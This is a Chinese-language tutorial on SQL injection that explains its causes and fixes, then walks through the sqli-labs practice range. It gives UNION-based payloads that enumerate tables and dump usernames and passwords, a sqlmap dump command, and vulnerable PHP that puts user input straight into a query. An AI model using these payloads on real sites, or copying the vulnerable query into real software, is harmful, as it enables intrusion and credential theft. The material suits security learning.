注意:文章仅供大家参考学习
前言
注意:文章仅供大家参考 网络安全中的SQL注入漏洞
一、SQL注入是什么?
注意:个人理解 了解SQL注入之前,我们首先需要知道数据库的概念,数据库是企业或者程序开发人员用于存储数据的地方,数据库有相应的语句,语法,可以让我们对存储在数据库中的内容进行增删改查,渗透测试时,通过在网站上某些特殊位置,构造有特殊目的的数据库语句,从而可以得到我们想要的网站数据,包括像用户名,密码,甚至是用户和网站的敏感信息,假如得到管理员的账户信息,那危害可想而知,我们把这个构造特殊目的的数据库语句,并成功让服务器执行的过程就叫SQL注入;常见的数据库有MYSQL,ORACLE,SQL SERVER等
二、造成SQL注入的原因
web应用程序对用户输入数据的合法性没有判断或过滤不严格,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此欺骗数据库服务器执行非授权的任意查询,从而拿到自己想要的数据
三、SQL注入原理
网站一般都分为前端后端,前端主要是与用户进行交互的,用户在前端进行操作,后端根据用户的操作,执行相应的数据处理,并将数据返回到前端,前端再将数据渲染到页面,在后端进行数据处理的时候,一般需要使用SQL语句查询数据库,在页面数据交互的地方,攻击者构造sql语句,使web服务器执行恶意命令访问数据库,得到敏感数据,需要注意的是,参数用户可以控制,而且参数可以带入数据库查询,是sql注入的重要条件
四、修复建议
- 对用户输入的数据进行过滤,过滤sql语句的关键字,像select,union,order by,',",),from等
- 在开发过程中,尽量使用预处理,或者使用最新的框架,来替换平常的sql语句
- 安装相应的安全设备,如WAF(web应用防火墙)
五、靶场演示
靶场为sqli-lab 在这里给参数"id"传值,发现页面会显示用户名和密码,接下来我们探测注入点
我们给参数id传值 1’ 发现页面报错
再给参数id传值 1" 发现页面显示正常,可以验证这里是存在注入点, 闭合使用的是’
接下来判断有几个字段,并使用 " ’ --+ "来闭合SQL语句, 构造Payload id=1’ order by 4 --+, 发现报错,说明数据库中的字段个数不足4,小于4,继续向下测试
构造payload id=1’ order by 3 --+ 发现页面显示正常, 说明有3个字段
构造payload id=1’ and 1=2 union select 1,2,3 --+ 判断那个字段可以回显
经过上面判断,回显的字段,在2,3 字段,构造payload id=1’ and 1=2 union select 1,database(),@@datadir --+ 查看当前数据库,以及数据库的路径
经过上面测试,知道当前的数据库名字为security , 构造payload id=1’ and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),@@datadir --+ 查看当前数据库中存在那些表
通过上面的查询存在的表,我们看到有一个非常敏感的表明"users", 我们开始查询"users" 表中有哪些字段,构造payload id=1’ and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),@@datadir --+
通过查询users 表中的字段,我们可以发现存在username,password,这些敏感字段,接下来,就是查询users中,username password 字段对应的值,构造payload id=1’ and 1=2 union select 1,(select group_concat(concat(username,password,‘**’)) from users),@@datadir --+
以上就是我们手工注入的过程,这也是比较基本的sql注入,下面,用工具sqlmap 来跑一下,速度更快
python sqlmap.py -u "http://192.168.72.138/sqli-lab/Less-1/?id=1" --current-db --dump --batch
六、关键分析代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
|